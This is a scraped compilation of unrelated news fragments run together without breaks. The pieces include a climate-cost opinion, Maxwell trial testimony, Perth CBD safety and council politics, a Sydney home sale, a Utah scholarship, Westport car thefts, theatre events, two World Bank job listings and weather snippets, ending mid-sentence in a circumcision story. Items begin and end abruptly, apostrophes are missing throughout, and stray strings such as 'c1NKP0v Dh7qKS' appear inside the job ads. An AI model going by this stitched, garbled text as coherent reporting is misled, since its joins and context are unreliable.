Virginia, why put the cost of lowering greenhouse gases only on the consumers? Maybe the gas and oil companies should pay that bill. The gas and oil companies received a large tax break supported by the then-president in 2017, and they can use that money to help pay for greenhouse gases. Torress claim that the ruling leaves service members without any remedy from states bent on discriminating against men and women who serve their country is without basis in fact or law, says the states filing at the Supreme Court. It added, both Texas and federal law afforded Torres numerous other remedies for any alleged discrimination. He simply chose not to use them. In the first two weeks of the trial, prosecutors in a federal courtroom in Manhattan presented four women who say Epstein abused them when they were teens. They portrayed Maxwell as the person who invited them to Epsteins mansions and pampered them with gifts, money and attention. Some said she directed them to undress, taught them how to massage Epstein or took part in the alleged abuse by touching their breasts and buttocks and joining in what one victim described as an orgy. Were concerned with burying our dead and mourning those who have died right now, he said. I think its sad that people on the left who have an agenda in the midst of people dying cant come together to try to help people in their time of need but instead want to score cheap political points, most of which is untrue. The Amtrak Crescent train traveling from New Orleans to New York on Tuesday is stopped in Lynchburg, Va. (AP) A winter storm continued to delay train travel for many passengers along the East Coast on Wednesday. But legislating to prohibit animal cruelty is an oddly controversial topic in China. While there are tens of millions of dog and cat lovers, their calls for change are often drowned out by a relatively small but vocal crowd of conservative thinkers who believe caring for animals is elitist, undermines Chinas development and infringes upon the traditions of those few Chinese who still eat dog meat. Iran waited a year after Trumps withdrawal and the reimposition of sanctions before starting a rapid advancement of nuclear activities, which Tehran has consistently said are intended only for peaceful purposes. It has installed advanced centrifuges to enrich uranium up to 60 percent, close to weapons grade. Under the terms of the JCPOA, Iran agreed to limit enrichment to 3.57 percent, as well as agreed on limits on the types of centrifuges it would operate and on stockpiles of enriched material. Its activities were to be fully inspected and monitored by the IAEA. It just seems to be a spot that hasnt been able to really provide the environment that the government wanted to create down there or the city wanted to create, he said. So were really focused on trying to have a vibrant city and an area that people want to come and visit. Mr Driebergs also noted an extra $1 million for patrols by Aboriginal liaison and security service Rooforce in the CBD and Northbridge, and an additional $1.5 million for outreach services to aid people sleeping rough, would operate in tandem. Were working with Department of Communities ... theyll be providing greater coordination of the outreach services in the Northbridge in the Perth CBD area for us, he said. He said the department was very heavily focused on helping police deal with those who have problems outside of police enforcement. So by putting this extra effort in there and making people feel supported, and feel comfortable in the area, and also just working with those people who need assistance in that area, Mr Driebergs said. Communities Minister Simone McGurk said extra resources would also go into co-locating workers from her department with police to be able to provide after-hours help to people on the street. The additional money that weve identified will be in place for at least a year, she said. A mobile police van will stay in Yagan Square for most of the summer to increase visibility in the city centre. Credit:Peter de Kruijff An upgrade of the Perth train station forecourt between the transport hub and the Myer building is also currently receiving a $2.5 million upgrade to improve lighting and pedestrian movement after works started last month. Northbridge identity and Mustang Bar owner Mike Keiller said the new initiatives sounded promising. Some elements weve heard it before but the government and in particular, the Police Minister [Paul Papalia] has gone the extra yard in the last few months to make contact with representatives in Northbridge in the city, he told 6PR. Hopefully its a promise of things to come. More to be done Perth Lord Mayor Basil Zempilas welcomed the new initiatives and continued his calls for $4.2 million of council coffers going to the state to cover costs of a two-year inquiry into the organisation to be pledged to city safety initiatives. Loading The City of Perth wants to see the money go towards security patrols, additional CCTV cameras in crime hotspots, youth intervention and cultural outreach programs, and to implement recommendations from a security audit of crowded places. Local Government Minister John Carey said a decision about the Citys request would be made soon. Mr Zempilas also suggested bringing back a curfew for people under the age of 16 to the area and said he was concerned about congregations of unsupervised youths frequenting the Yagan Square area. He said he was hopeful the new Edith Cowan University campus in the square slated to open in 2025 would breathe new life into precinct. We can still see good days from Yagan Square once 10,000 people are in that precinct on a daily basis, Mr Zempilas said. Former Premier Geoff Gallop brought in a curfew in 2003 but crime statistics went up and the scheme eventually died out. Expressions of interest for new developments within the Yagan Square Market Hall closed earlier this year, with analysis of proposals currently under way. DevelopmentWA planning and transition executive general manager Matt Ryan said eight responses to the EOI had been received and there was now a short-list. Works to deconstrain the internal Market Hall space and prepare it for an alternate use are underway, and expected to be completed in early 2022, he said. Calls for greater increase to police numbers Opposition police spokesman Peter Collier characterised the new initiatives from the state government as a bandaid solution to a problem which had been let out of control. The area is ground zero for violence in the CBD-Northbridge area, with many people avoiding it altogether, he said. A few more police officers is simply not enough of a solution to tackle the problems in the area, it hasnt worked in the past, nor will it now. He said invariably the first thing a new chief executive did including wherever he worked was make changes or change senior leadership. And actually taking a step back from that to make sure that they have the senior leadership that they need to take the organisation forward, Mr Zempilas said. Sometimes that means changing senior leaders. Now I will note that in two of the four general managers, one retired and one wanted to go to a three-day a week work or something like that. I didnt know Michelle Reynolds before I started here, Id never met her. I knew that she had been at Rottnest. Weve got an excellent working relationship. Ive got a huge admiration for her. Shes an incredibly hard worker. The city did not provide WAtoday with any of its recent pulse surveys to gauge the level of staff happiness but Mr Zempilas said the last round of results he saw was positive. The original commissioner-assembled team of four City of Perth general managers of Chris Kopec, Anne Banks-McAllister, Jayson Miragliotta and Bill Parker. Credit:City of Perth Were on a very, very pleasing journey of improvement ... and so what Ive seen is a very encouraging level of staff satisfaction, he said. The city provided the inquest staff turnover rates 24 per cent in 2016-17 and 20 per cent in 2017-18 but requests by WAtoday for more recent figures were refused earlier this year. About 69 per cent of the recommendations in the inquiry relevant to the city have been completed. However, a recommendation that senior staff, councillors and chief executive be the subject of a 360 review a performance evaluation tool where employees provide feedback had not been acted upon, with the administration deeming it unnecessary because of new leadership objectives tied to staff survey results. Last month the council hit back at the administration, calling on it to meet the 360 review recommendation as it would be a mistake to say the local government could fairly review itself barely a year after the inquiry. Council dynamics Generally, the elected members have gotten on well or at least remained civil, with the chamber so far free of toxic factions. There have still been some politics at play at times with the recent rolling of Deputy Mayor Sandy Anghie out of her position following the most recent council election. Mrs Anghie had been the deputy for a year after winning five out of nine votes to secure the position ahead of councillors Catherine Lezer and Liam Gobbert. Loading She was ousted in October, however, four votes to five in favour of Di Bain. The decision was made prior to the vote to rotate the job around each year when it initially looked like the vote against Anghie would be split among other contenders. Mrs Anghie had pushed many initiatives through elected member motions, including $460,000 worth of new light installations and a phone app for kids. The app, soft-launched in September, Perth Trails has 3300 downloads and cost $69,900 to make. A city spokeswoman said more downloads were expected as international and interstate borders opened up. Other spends through elected member motions have included Clyde Bevans $240,000 idea to put plaques around Northbridge to recognise buildings and people of significance. The plaque project came in under the public tender threshold of $250,000, meaning the work did not have to be advertised. It was voted through 7-2 in February, despite there being no actual plan in place. The project is ongoing. The council also copped flack from the Christian community after the $330,000 annual Christmas nativity play was cut back to a $50,000 budget, without consultation. Mr Zempilas originally campaigned to bring back the nativity play, after it was initially dumped last year by commissioners before the new council approved a smaller show at the last minute. But even he supported the event not getting as big a budget for 2021, along with most of the councillors. The play was seen as not getting enough bang for its buck compared to other events which received a smaller amount of funding from the city. The council has been quick to claim wins in the space of extra police and additional free bus services when much of the decision-making and spend has been done by the state government, with the city often only able to play an advocacy role. Mr Zempilas has been touted as a future state Liberal candidate but his pledge to go for a second mayoral term in 2023 does not fit well with the next WA state election in 2025. Moving in the right direction Despite the continued senior staff upheaval through the year, outside of Council House several stakeholders are generally pleased with the direction of the local government compared to before the inquiry. Local Government Minister John Carey. Local Government Minister and Perth MP John Carey said he believed the mayor and council were working well together. There appears a genuine commitment to improving culture, developing a shared vision among the elected officials and engagement with the community, he said. The City of Perth as an organisation still has a way to go to fully rebuild trust with ratepayers, but from my perspective they are moving in the right direction and delivering on the recommendations from the City of Perth Inquiry. Property Council of WA executive director Sandra Brewer said the city got off to a rough start due to a lack of foot traffic during the pandemic making trade conditions in the CBD difficult. Throughout this time the council has been optimistic and constructive, deploying strategies to attract workers, shoppers and visitors, she said. Notable successes include the three hours free weekend parking over holiday periods, the AFL Grand Final festivities and the Christmas Lights trail. Mayor Basil Zempilas is an enthusiastic proponent for the city and his ability to sing the praises of the CBD is working to attract visitors, with foot traffic improving of late. Ms Brewer said going into next year the property industry hoped to work collaboratively on a long-term masterplan with the local government for the city. Mr Zempilas copped criticism for some of his early views on homelessness, calling on the forceful removal of people sleeping rough in the city, before the campaign, but they have since changed with Shelter WA chief executive Michelle Mackenzie supportive of the City of Perths work. The mayor was vocal about using carparks as homeless shelters. Yet even before last years election, the council had been working collaboratively with the state government and service providers to find spaces for rough sleepers to stay overnight. The City of Perth established a male and female shelter but dropped the former after the state government opened the 100-bed Boorloo Bidee Mia homeless shelter. Ms MacKenzie said the adoption of a city homelessness strategy by the council had provided a clear framework moving forward. Wed really love the city to look at facilitating more social and affordable rental opportunities within the city, she said. After four months on the market and a $2 million discount off the asking price, Deborah Hutton has sold her Bronte home for close to the latest guide of $10 million. The result is a decent windfall on the $3.8 million the TV personality paid for the two-storey house in 2015 but short of the $12 million guide it hit the market with in late July. The Hamptons-style residence in Bronte was first listed in late July for $12 million. Credit:Jennifer Soo The former model and Australian Womens Weekly editor is reportedly planning a tree change to the Southern Highlands with her partner, meditation guru Andrew Marsh, although property records show she is yet to secure her next home. The sale price remains undisclosed by the agents involved, but the online marketing indicated a virtual sold notice by late morning on Tuesday. Major Brent Taylor Foundation Creates Weber State Endowment December 15, 2021 OGDEN, Utah The Major Brent Taylor Foundation announced an endowment to support Weber State University students who excel in communication, politics or public service. Maj. Taylor served in the Utah Army National Guard for more than 15 years, seven of which were on active duty. In January 2018, having already served two tours in Iraq and another in Afghanistan, Taylor took a leave of absence as mayor of North Ogden, Utah, to return to Afghanistan to help train elite Afghan military personnel. On Nov. 3, 2018, Taylor was shot and killed by a soldier he was training outside Camp Scorpion near Kabul. He was 39 years old and the father of seven. The endowment aims to inspire impressive Weber State students in social and behavioral sciences or communication to complete their education and live a life of service. Our family is thrilled about this new leadership legacy scholarship, said Maj. Taylors widow, Jennie Taylor, who is now the civilian aide to the Secretary of the Army for Utah. My husband, Brent, was a leader who knew that relationships are paramount, communication is key and service is the secret to all true success. This scholarship intends to find and support Weber State students with a similar outlook on their own leadership education and goals. Students majoring in political science or communications are encouraged to apply for the partial-tuition scholarship that will be awarded each year beginning in fall of 2022. The foundation is supporting students at various Utah universities. To support Weber State students, visit give.weber.edu/MajorTaylor. Visit weber.edu/wsutoday for more news about Weber State University. SKOPJE, North Macedonia (AP) Authorities in North Macedonia have detailed 28 mostly Cuban migrants found crammed into a van driven by a suspected member of a migrant smuggling gang, police said Tuesday. It was the second time in three days that a group of Cubans was intercepted being driven through North Macedonia. In both cases police said the drivers, who were arrested, were Serb citizens, and the migrants had entered the country illegally through Greece. WESTPORT More thefts from motor vehicles and stolen cars have been reported in town this year compared to last year, prompting the police department to remind residents how to protect themselves and their property. As of Dec. 14, Westport Police have investigated 114 larcenies from motor vehicles this year compared to 83 larcenies from motor vehicles in 2020. The police department has also investigated 92 reports of stolen cars this year compared to 58 reports of stolen cars last year. Crime rates have continued to increase in Connecticut over the last year with a significant number of car thefts and burglaries being reported throughout the state. Westport Police Chief, Foti Koskinas, said that while crime rates in Westport are generally low, there are a number of things residents should be aware of and should take into consideration including locking their car doors, closing their garages, being more vigilant as well as communicating with the police. There are some major concerns when it comes to crime in Westport, but crime overall is not significantly up, Koskinas said. What is up is our motor vehicle theft and our stolen cars. That has created a major issue. Koskinas spoke about the increase in car thefts during a meeting with First Selectwoman Jennifer Tooker and Deputy Chief Ryan Paulsson, which was hosted by Westport Moms. The police chief said that he and the police department understand the concern residents have when they think about people from out of town going into their driveways and entering their vehicles during the night a time when people want to feel the most secure. In total transparency, theres only been a few incidents where the bad guys, the suspects, have got into homes and that is extremely concerning, he said. But for the size of our town, for the amount of households that we have and the amount of incidents that have happen thats a very small number. He said one or two is still extremely alarming. The police department said it arrested juvenille suspects in one of these incidents and the other case is still open and active. Its very concerning because who is going to be next? Is there going to be a next? At what level are they going to take it? he added. Koskinas said that while Westport is one of the safest communities along the shoreline, the location of the town is important when looking at crime, including its proximity to the highway, train stations, big cities like New York and Boston, as well as inner cities like Bridgeport and Norwalk. Westport residents make themselves easy targets when they dont lock their car doors. He said there are residents who have had their cars entered or stolen several times and have still not started locking their doors. If we make ourselves victims, theres always a chance theyll come back, he said. They go back to areas that they have been successful in. Unlocked cars, keys left in the car and crews looking for opportunities to steal gifts, credit cards or the car itself are the three main issues the department is dealing with concerning vehicle thefts. Koskinas said. In an effort to reduce the amount of car thefts in Westport and the state at large, Westport joined a task force called Operation Wingspan, a $5 million collaboration between the FBI and Bridgeport, Fairfield, Westport, Monroe, Trumbull, Stratford and Newtown police departments. In a two-month period, the task force, recovered 84 stolen vehicles. Koskinas said altogether the task force has recovered about 120 cars. They have also made more than 80 adult arrest and about 40 juvenile arrests. He said while the task force has had a significant impact, the juvenile cases have created issues because the juvenile justice system is being reworked. Its sort of a revolving door when it comes to juveniles, he said. We are not in favor of detention for juveniles, Koskinas said. Thats not the place for reform, but there also needs to be consequences when its not the first, second or third offender anymore. Koskinas said the police department is figuring out if these offenders are coming from inner cities to areas where residents are less likely to lock their cars. Westport has increased its nightly patrols, but they need the help of residents by locking their doors and being vigilant. Koskinas said that while the police department focuses on enforcement, they are asking residents to be good witnesses by recording as much as they can, not engaging and getting any information to the police. Koskinas spoke about the increase in car theft during a meeting with First Selectwoman Jennifer Tooker and Deputy Chief Ryan Paulsson. The meeting was hosted by Westport Moms. Reading, PA (19601) Today Becoming partly cloudy. There might be a rain or snow shower well north and west, mainly early.. Tonight Becoming partly cloudy. There might be a rain or snow shower well north and west, mainly early. Allentown, PA (18103) Today Becoming partly cloudy. There might be a rain or snow shower well north and west, mainly early.. Tonight Becoming partly cloudy. There might be a rain or snow shower well north and west, mainly early. A mammoth evening of musicals will take place at the AO Arena in Manchester. The event, titled The National Lottery's Big Night Of Musicals, will be hosted by Jason Manford and aims to celebrate all that has been done by theatre enthusiasts over the last two years. Thousands of tickets have been made available to representatives from hundreds of National Lottery-funded community and grassroots arts organisations. Frozen, Dear Evan Hansen, Disney's The Lion King, Back to the Future, The Drifters Girl, Beauty and the Beast, Andrew Lloyd Webber's School of Rock, Bat Out Of Hell, Dreamgirls and The Wiz will all feature in the evening, with more to be announced. The presence of specific performers is also to be confirmed. Manford said today: "After a very difficult 20 months for the theatre industry, I am proud and honoured to be hosting this National Lottery musical spectacular. The event promises to be a brilliant show full of celebration, featuring some of the best musicals on right now. I can't wait for 24 January next year!" The event takes place on 24 January 2022, with doors opening from 5.45pm. Marisha Wallace, of Hairspray and Dreamgirls fame, will take to the stage as part of the Gaiety Musical Theatre Festival next year. Joining the likes of Kerry Ellis, Lee Mead and Cassidy Janson, the event will take place on Sunday 1 May 2022 at Ragley Hall in Warwickshire, as part of a broader celebration of all things theatre. Mike Wilson, Producer for Gaiety Musical Theatre Festival, said: "We are thrilled to be welcoming West End and Broadway powerhouse Marisha Wallace to the inaugural Gaiety Festival. "Marisha's unmistakeable vocals are renowned in the world of musical theatre, and we are beyond excited that she will be joining the stellar line-up on our Main Stage to perform her favourite showtunes. Festivalgoers are in for a treat!" The London Musical Theatre Orchestra will accompany all acts on the main stage, with further acts to be announced. Senior Climate Economist, Washington, United States Organization: The World Bank Country: United States City: Washington Office: World Bank in Washington, United States Closing date: Wednesday, 12 January 2022 Senior Climate Economist Job #: req14225 Organization: World Bank Sector: Economics Grade: GG Term Duration: 4 years 0 months Recruitment Type: International Recruitment Location: Washington, DC,United States Required Language(s): English Preferred Language(s): Closing Date: 1/12/2022 (MM/DD/YYYY) at 11:59pm UTC Description Do you want to build a career that is truly worthwhile? Working at the World Bank Group provides a unique opportunity for you to help our clients solve their greatest development challenges. The World Bank Group is one of the largest sources of funding and knowledge for developing countries; a unique global partnership of five institutions dedicated to ending extreme poverty, increasing shared prosperity and promoting sustainable development. With 189 member countries and more than 120 offices worldwide, we work with public and private sector partners, investing in groundbreaking projects and using data, research, and technology to develop solutions to the most urgent global challenges. For more information, visit www.worldbank.org PRACTICE GROUP CONTEXT The Equitable Growth, Finance, and Institutions Practice Group (EFI) is one of the World Bank Groups four Practice Groups. EFIs mandate is "Growth, Finance, and Institutions for all." EFI is composed of four Global Practices (GPs), the Prospects Group, and CGAP: 1. The Macroeconomics, Trade and Investment (MTI) GP supports macroeconomic stability through sound fiscal frameworks and fiscal risk management and better institutions and capacity on debt management to improve the efficiency of public spending. 2. The Finance, Competitiveness, and Innovation (FCI) GP helps client countries to create an enabling environment in which financial stability, efficiency and firm-level solutions to crowd in the private sector, support the creation of markets, and accelerate equitable growth. 3. The Governance GP (GOV) assists countries to build capable, effective, accountable, transparent, and inclusive institutions that deliver citizen-centric services, facilitate private-sector growth, build trust in Government, and provide fiduciary support to all Bank operations. 4. The Poverty and Equity GP supports the design, implementation, and monitoring of the WBG and client countries policies and programs aimed at poverty reduction and shared prosperity. 5. The Prospects Group analyzes global economic and financial developments and their impact on emerging market and developing countries by the publication of the Global Economic Prospects report, the Commodity Markets Outlook, and Global Monthly. 6. CGAP is a global partnership of more than 30 leading development organizations to share knowledge and research about financial inclusion to advance the lives of poor people, protect their economic gains, and reach broader development goals. UNIT CONTEXT The EFI Chief Economist Office (EFICE) supports and works under the EFI Chief Economist, who directly reports to EFI VP. The Chief Economist is part of the EFI Front Office and a member of the EFI Leadership Team, working closely with the Director of Strategy and Operations (DSO) and Global Directors (GDs) of each of the GPs. The Chief Economist is the principal economic and policy adviser to the EFI VP regarding analytic and advisory services. The office guides strategic priorities and technical quality of economic analysis in EFI, bringing the best knowledge to bear on the development problems relevant to EFI. THE EFI CLIMATE ECONOMICS TEAM Each of EFIs core topic areas is increasingly affected by climate change, requiring new strategies for maximizing economic development in a climate-compatible manner. The novelty of this challenge means that, both among economic policymakers in client countries as well as EFI units advising them, there is a need for frontier analytics, research and capacity building. This is why the EFI Chief Economist Office has created a central Climate Economics Team to support developing countries and World Bank economists with technical work on climate economics. The team focuses primarily on the role of Ministries of Finance in climate policy, but also considers impacts of climate change for Ministries of Economy and Trade, Central Banks and Financial Supervisory Institutions. The Climate Economics Team provides technical advice to country teams for advancing the technical frontier on climate economics in country reports as well as global knowledge products. The team is also involved in convening change, by hosting the Secretariat of the Coalition of Finance Ministers for Climate Action and supporting the World Banks contributions to the Network for Greening the Financial System. ROLES AND RESPONSIBILITIES The selected candidates will become core technical drivers for deepening EFIs work in these thematic areas, with the aim of leading programs at the frontier of policy-relevant analytics. This work will include the development and piloting of climate-smart core diagnostics, technical assistance to client countries supporting policy reforms, training and capacity building for Bank staff and client countries, reviews of technical work by EFI and other Practice Groups, representations of EFI within and outside the institution, and targeted, policy-relevant research. Besides the work in their areas of specialization, candidates will all be expected to extensively collaborate with colleagues on cross-cutting projects, and show significant flexibility moving between thematic areas. In addition to their global work on the above theme(s), every Senior Climate Economist will be closely involved in advancing climate economics in a World Bank Region (Africa East - AFE, Africa West - AFW, East Asia & Pacific - EAP, Europe & Central Asia - ECA, Latin America & Caribbean - LAC, Middle East & North Africa - MENA, and South Asia - SAR). This operational aspect of the work includes in-depth involvement in country studies and client advice for a Region, undertaking research on the key constraints holding back climate-smart economic development in the Region, providing trainings for clients and World Bank economists in the Region, and generally providing technical advice to country teams. Candidates are asked to identify in their application letter for which Region(s) they have at least a generalist knowledge of a wide set of applicable climate-economics and policy issues. A strong Senior Climate Economist combines a global expertise in a subset of climate economics issues with a generalist understanding of the wide topic area overall. This facility enables and motivates the Senior Climate Economist to make very specific contributions which move the global frontier in their area of expertise while equally making broad contributions to a whole spectrum of climate economics issues affecting their Region. The ideal candidate is recognized as both a global thought leader and as a team player collaborating closely with thought leaders on other climate and development issues. S/he integrates lessons from global research into regional operations, and makes use of lessons from regional operations to steer policy-relevant advances of the global frontier. Selection Criteria Minimum Education/Experience A Ph.D. in economics or a closely related discipline, with considerable experience on climate and development is preferred. The minimum requirement to apply is a masters degree with 8 years of experience or an equivalent combination of education and experience. Required Core Competencies Substantial publication record in climate economics is required; additional publications in general development economics are a big plus. Expertise in climate economics and climate policy- an advanced understanding of both the theoretical literature on climate economics and its policy applications is required, with understanding of at least one theme (see above) at the global frontier, and a wide knowledge of most themes at least on a generalist level. Quantitative policy diagnostics - experience in building and using analytical tools/diagnostics for policy analysis is required. Econometrics - knowledge of graduate-level micro- and macro-econometrics is required. Knowledge of econometric approaches to evaluating climate policies and climate impacts is a big plus. Special focus area - demonstrated expertise in at least two of the following themes is required; fungible candidates that can cover more than one theme are preferred: price incentives, fiscal space, macro-criticality of climate change, political economy, economics of adaptation, greening private and public finance, and equity and just transition. Other Selection Criteria c1NKP0v Dh7qKS Willingness to relocate to Washington DC is required, but global remote work is currently allowed. Exceptional circumstances can be considered. Willingness to regular travel to developing countries globally is required. Experience working in developing countries and with ministries of finance/economy is a strong plus. Strong communications skills, including the ability to present complex climate analyses to generalist economic audiences; Ability to work flexibly on a range of assignments and adjust to a variety of complex evolving tasks to meet tight deadlines; Integrative capacity including the ability to situate sectoral issues within a broader development framework; Strong interpersonal skills and the capacity to work in teams across organizational boundaries within a multi-cultural environment. World Bank Group Core Competencies The World Bank Group offers comprehensive benefits, including a retirement plan; medical, life and disability insurance; and paid leave, including parental leave, as well as reasonable accommodations for individuals with disabilities. We are proud to be an equal opportunity and inclusive employer with a dedicated and committed workforce, and do not discriminate based on gender, gender identity, religion, race, ethnicity, sexual orientation, or disability. Learn more about working at the World Bank and IFC, including our values and inspiring stories. Link to the organizations job offer: https://unjobs.org/vacancies/1639156173027 Extended Term Consultant, Yerevan, Armenia Organization: The World Bank Country: Armenia City: Yerevan Office: The World Bank in Yerevan, Armenia Closing date: Wednesday, 22 December 2021 E T Consultant Job #: req14176 Organization: World Bank Sector: Environment Grade: EC2 Term Duration: 1 year 0 months Recruitment Type: Local Recruitment Location: Yerevan,Armenia Required Language(s): English, Armenian Preferred Language(s): Russian Closing Date: 12/22/2021 (MM/DD/YYYY) at 11:59pm UTC Description Do you want to build a career that is truly worthwhile? The World Bank Group is one of the largest sources of funding and knowledge for developing countries; a unique global partnership of five institutions dedicated to ending extreme poverty and promoting shared prosperity. With 189 member countries and more than 120 offices worldwide, we work with public and private sector partners, investing in groundbreaking projects and using data, research, and technology to develop solutions to the most urgent global challenges. For more information, visit www.worldbank.org. The Europe and Central Asia (ECA) Region The Europe and Central Asia (ECA) region comprises 30 extremely diverse countries, with a population of nearly 500 million people. Although ten of our clients have joined the EU and seven of these have graduated, most continue to remain active recipients of knowledge and/or lending services. Furthermore, in the midst of a crisis like the pandemic that we are experiencing now, some of the advanced countries re-engage with the Bank for additional support, including financial. ECA has a strong lending pipeline as well as a large and growing portfolio of Reimbursable Advisory Services. Knowledge is critical to the Banks value proposition to client countries in the ECA region in both lending and advisory services. A predominantly middle- and high-income region, ECA continues to be at the forefront in confronting the numerous development challenges that countries face in the evolving global economy. The region is at the vanguard of building regional connectivity while having to manage the changing structure of the labor market. At the same time, digital technologies are changing the nature of work, populations are aging, and large migration flows have generated social tensions that have contributed to increased political polarization. These emerging trends threaten to reverse the regions achievements in regional integration, poverty reduction and shared prosperity. The ECA region is also vulnerable to climate change. It has a large potential to strengthen climate resilience and reduce its contribution to GHG emissions. Other important challenges affecting parts of the region include frozen conflicts and domestic political instability. In February 2020, the COVID-19 (coronavirus) outbreak interrupted the incipient recovery and the impact on growth remains highly uncertain and in a downside scenario of prolonged shutdowns, output in ECA could contract by nearly 8 percent in 2020. The pandemic also poses medium-term risks, particularly if global value chain linkages are lost or if extended school closures have a significant impact on learning, dropout rates, and human capital development. The near- and medium-term impacts of the COVID-19 crisis serve to re-emphasize the critical importance of ECAs medium-term strategic agenda on raising productivity and boosting resilience, while pursuing "green transition" that addresses environmental and climate risks. The Europe and Central Asia (ECA) Region: https://www.worldbank.org/en/region/eca The Sustainable Development Practice Group The Sustainable Development (SD) Practice Group (PG) helps countries tackle their most complex challenges in the areas of Agriculture and Food, Climate Change, Environment, Natural Resources & Blue Economy, Environmental and Social Framework, Urban, Disaster Risk Management, Resilience & Land, Social Sustainability and Inclusion, and Water. Environment Natural Resources & Blue Economy (ENB) Global Practice The sustainable management of the environment and natural resources is vital for economic growth and human wellbeing. When managed well, renewable natural resources, watersheds, productive landscapes and seascapes can provide the foundation for sustained inclusive growth, food security and poverty reduction. For more information: https://www.worldbank.org/en/topic/environment The Country Management Unit (CMU) for South Caucasus The South Caucasus CMU maintains and fosters all operational relationships with Armenia, Azerbaijan, and Georgia. The Regional Director oversees the program for the three countries from the Tbilisi office, with offices in Baku and Yerevan headed by Country Managers. The Yerevan Country Office in Armenia Armenia is a middle-income country whose economy expanded rapidly between 2017 and 2019, with an annual GDP growth rate averaging 6.8 percent. However, following the twin shocks of the pandemic and the military confrontation with Azerbaijan in 2020, GDP fell by 7.4 percent, one of the sharpest contractions in the region, and poverty rates rose sharply, especially in urban areas. Emergency spending packages and limited tax breaks provided as part of the fiscal response to the pandemic, coupled with declining revenues, increased public debt to 67 percent of GDP in 2020. However, the debt composition remains favorable. The current-account deficit narrowed in 2020, while increased borrowing kept reserves adequate. The country partnership framework (CPF) for FY19-FY23 outlines a program of support to the Government of Armenias vision for a just, inclusive, and citizen-centric Armenia. The World Bank Group (WBG) strategy is to capitalize on the new momentum for deeper reforms and commitment to good governance brought about by recent political changes in Armenia to support a rebalancing of the economy toward a new growth model. The CPF presents to focus on: (i) boosting export enablers and firm competitiveness; (ii) enhancing human capital and equity; and (iii) sustainably managing environmental and natural resources. The third focus area of CPF responds to Armenias stated goal of protecting the environment, improving the management and governance of natural resources, and managing environmental and climatic risks. Forward-looking management of environmental and natural resourcesincluding forests, pasture lands, watersheds, and mineral resourcesprovides the foundation for sustained inclusive growth through improved performance and citizen engagement in sectors such as agriculture, mining, tourism, and forestry, as well as providing a buffer against climate change and extreme weather events. To enhance environmental and climate-change resilience, the World Bank will focus on strengthening government capacity to deliver critical and timely weather and climate services, and improving preparedness against natural disasters at the national, subnational, and local levels. The Armenia County Office consists of 30 IBRD and 7 IFC staff. It is led by a Country Manager overseeing the World Bank program in Armenia. Duties and Accountabilities SCAEN, the ENB unit of SD PG in ECA, seeks to recruit an Environmental Specialist on an Extended Term Consultant (ETC) contract in the Yerevan Country Office. The Specialist will join a team of about 40 environmental professionals located in Washington DC and various ECA countries and will report to units Practice Manager (currently located in Washington DC). The Specialist will support the ENB program in Armenia, under the guidance of senior environment specialists from the unit. The Specialist will be an integral part of the Yerevan country office. The list of responsibilities below is indicative. Specific assignments will be decided in dialogue with the Practice Manager and based on ENB portfolio and priority needs. As part of environmental impact and risk management of the World Bank portfolio, the Specialist will provide operational and technical support for the World Bank financed projects, under the respective World Bank safeguards operational policies (OPs) and the Environmental and Social Framework (ESF), working closely with and under guidance of assigned senior specialists: Provide guidance and technical support for screening Bank projects for environmental impacts and vulnerabilities and identify impact and risk management opportunities/strategies; Guide the project implementing agencies in preparing the necessary ESF instruments and Environmental Assessment (EA) documents and review them for quality assurance; maintain regular dialogue and assist with enhancing implementing agency capacity to comply with World Bank environmental policies; Monitor compliance of project-financed activities with environmental safeguards or ESF by participating in project technical discussions and field visits, reviewing project reports and recommending adequate measures; Seek and develop opportunities to integrate sound environmental management and climate considerations in various lending operations that contribute to enhancing project outcomes; Contribute to disseminating lessons learned and best practices from applying ESF in specific World Bank projects, as well as actively learn from relevant regional and global experience. As part of advancing operations and analytical work, the Environmental Specialist will undertake some of the following: Engage in policy dialogue with the government and other stakeholders in the thematic areas that could include some of the following: forestry, biodiversity conservation and natural resource management, climate resilience, pollution management and circular economy, and green growth. Contribute to the development and implementation of lending operations, technical assistance, or/and analytical work which would require knowledge of the abovementioned thematic areas. Advise on the development and implementation of policies and regulations that are relevant for advancing countrys climate and environmental agendas. Keep abreast of cutting-edge knowledge in the areas of technical expertise, including by participating in the respective Communities of Practice at the World Bank to learn from relevant global experience and share lessons from own work. As a staff member of the SCAEN, ECA Sustainable Development and the Yerevan Country Office, the Environment Specialist will: Facilitate and maintain effective communication with relevant stakeholders in Armenia inside and outside the World Bank, including government officials, NGOs, academia, civil society, the private sector, as well as specialized international organizations; Contribute to activities and initiatives of the Yerevan office, as needed, raising the profile of the environmental sustainability and climate change agendas within the office and the country. Selection Criteria Advanced degree (Masters or Ph.D) in environmental or natural science/management, engineering, economics, or other relevant disciplines; A minimum of 5 years of relevant experience as an environmental professional in the fields of: environmental policy, environmental risk management, natural resource management, climate change, including both sector-wide policy review and project-specific experience. Good analytical skills with ability to analyze and synthesize diverse qualitative and quantitative environmentally related data and information; Ability to work well with a range of stakeholders, including project-affected parties, government officials, non-governmental organizations / civil society, and development partners; c1BbcgV Dh7qKS A good team player who works well as a member of multi-disciplinary and multi-cultural teams, motivate others and network effectively across boundaries; Familiarity with EU policies and directives related to environment and climate change is a plus Knowledge of international good practice for management of environmental risks, including World Bank ESF/Safeguards policies and instruments, and/or IFCs Performance Standards /MIGA Environmental and Social policies, or similar standards, would be an advantage; Ability to communicate ideas clearly and confidently, articulate issues and recommend solutions; Excellent verbal and written skills in English and Armenian are essential; Russian would be an advantage. Ability and willingness to travel frequently within and outside Armenia is required (subject to COVID-19 related restrictions). World Bank Group Core Competencies We are proud to be an equal opportunity and inclusive employer with a dedicated and committed workforce, and do not discriminate based on gender, gender identity, religion, race, ethnicity, sexual orientation, or disability. Learn more about working at the World Bank and IFC, including our values and inspiring stories. Note: The selected candidate will be offered a one-year appointment, renewable for an additional one year, at the discretion of the World Bank Group, and subject to a lifetime maximum ET Appointment of two years. If an ET appointment ends before a full year, it is considered as a full year toward the lifetime maximum. Former and current ET staff who have completed all or any portion of their second-year ET appointment are not eligible for future ET appointments. Link to the organizations job offer: https://unjobs.org/vacancies/1638982957277 Williamson, WV (25661) Today Clear this evening then becoming cloudy after midnight. Low 31F. Winds W at 5 to 10 mph.. Tonight Clear this evening then becoming cloudy after midnight. Low 31F. Winds W at 5 to 10 mph. THE provinces doctors have decided against implementing changes for religious-based infant male circumcisions in their new standard of practice for office procedures. THE provinces doctors have decided against implementing changes for religious-based infant male circumcisions in their new standard of practice for office procedures. The College of Physicians and Surgeons announced on Tuesday that neonatal male 